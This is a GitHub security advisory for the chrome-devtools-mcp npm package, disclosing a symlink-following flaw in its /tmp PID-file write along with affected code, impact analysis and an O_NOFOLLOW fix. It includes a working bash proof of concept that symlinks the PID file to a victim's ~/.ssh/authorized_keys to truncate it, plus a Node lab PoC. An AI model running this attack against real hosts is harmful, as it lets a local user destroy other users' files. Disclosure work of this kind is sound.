GitHub Advisoryadvisory · npm

GHSA-3pvj-jv98-qhjq Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback runtime directory

MEDIUM Published 2026-06-17 Modified 2026-07-21 Official page ↗
Aliases
CVE-2026-53765
Ecosystem
npm
Packages
chrome-devtools-mcp
Severity
Moderate
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weaknesses
CWE-59
Reviewed
2026-06-17

Affected packages

• npm chrome-devtools-mcp: >= 0.20.0, < 1.1.0 → fixed in 1.1.0

Description

Summary The chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-/daemon.pid`. Because the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string. This report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements. Details Affected code: `src/daemon/daemon.ts:38-42` ```ts const pidFilePath = getPidFilePath(sessionId); fs.mkdirSync(path.dirname(pidFilePath), { recursive: true, }); fs.writeFileSync(pidFilePath, process.pid.toString()); ``` `src/daemon/utils.ts:49-68` ```ts export function getRuntimeHome(sessionId: string): string { const platform = os.platform(); const uid = os.userInfo().uid; const suffix = sessionId ? `-${sessionId}` : ''; const appName = APP_NAME + suffix; if (process.env.XDG_RUNTIME_DIR) { return path.join(process.env.XDG_RUNTIME_DIR, appName); } if (platform === 'darwin' || platform === 'linux') { return path.join('/tmp', `${appName}-${uid}`); } return path.join(os.tmpdir(), appName); } ``` The `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID. Preconditions: • The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset. • The attacker has any local user account on the same host. • The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode. PoC Realistic POSIX scenario: ```bash Attacker, before victim starts daemon mode. victim_uid=1000 mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}" chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}" ln -s "/home/victim/.ssh/authorized_keys" \ "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid" Victim later starts daemon mode. chrome-devtools start Result: fs.writeFileSync follows the symlink, so authorized_keys is truncated to the daemon PID string. ``` Lab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory: ```js const fs = require('node:fs'); const os = require('node:os'); const path = require('node:path'); const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-')); try { fs.chmodSync(lab, 0o755); const victimSecret = path.join(lab, 'victim-secret.txt'); fs.writeFileSync( victimSecret, 'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n', ); const runtimeDir = path.join(lab, 'attacker-pre-created'); fs.mkdirSync(runtimeDir, {recursive: true}); const pidFilePath = path.join(runtimeDir, 'daemon.pid'); fs.symlinkSync(victimSecret, pidFilePath); // Exact pattern from src/daemon/daemon.ts:39-42. fs.mkdirSync(path.dirname(pidFilePath), {recursive: true}); fs.writeFileSync(pidFilePath, process.pid.toString()); console.log(fs.readFileSync(victimSecret, 'utf8')); // -> "" (victim file was truncated/overwritten) } finally { fs.rmSync(lab, {recursive: true, force: true}); } ``` Observed output from the lab PoC: ```text [setup] victim secret BEFORE attack: IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED [attack] symlink placed: /daemon.pid -> [victim ran daemon] victim secret AFTER: [lstat pidFile] still symlink [outcome] victim file was overwritten via attacker-placed symlink. ``` I can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards. Impact Who can exploit: Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session. Security impact: • Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string. • Availability: critical user configuration files can be corrupted until restored from backup. • Confidentiality: none directly; the written content is only the PID string. Example targets affected by truncation: • `~/.ssh/authorized_keys`, causing the victim to lose SSH access. • `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup. • Project `.env`, `secrets.json`, license files, or line-oriented config files. • Logs or local audit files writable by the victim. Suggested fix: Open the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing: ```ts import {constants, openSync, writeSync, closeSync} from 'node:fs'; const fd = openSync( pidFilePath, constants.O_WRONLY | constants.O_CREAT | constants.O_TRUNC | constants.O_NOFOLLOW, 0o600, ); writeSync(fd, process.pid.toString()); closeSync(fd); ```

Related

Alias · CVE (1)

  • CVE-2026-53765 Chrome DevTools for agents (chrome-devtools-mcp) lets your coding agent control and inspect a live Chrome browser. vulnerability

Weakness · CWE (1)

  • CWE-59 Improper Link Resolution Before File Access weakness

References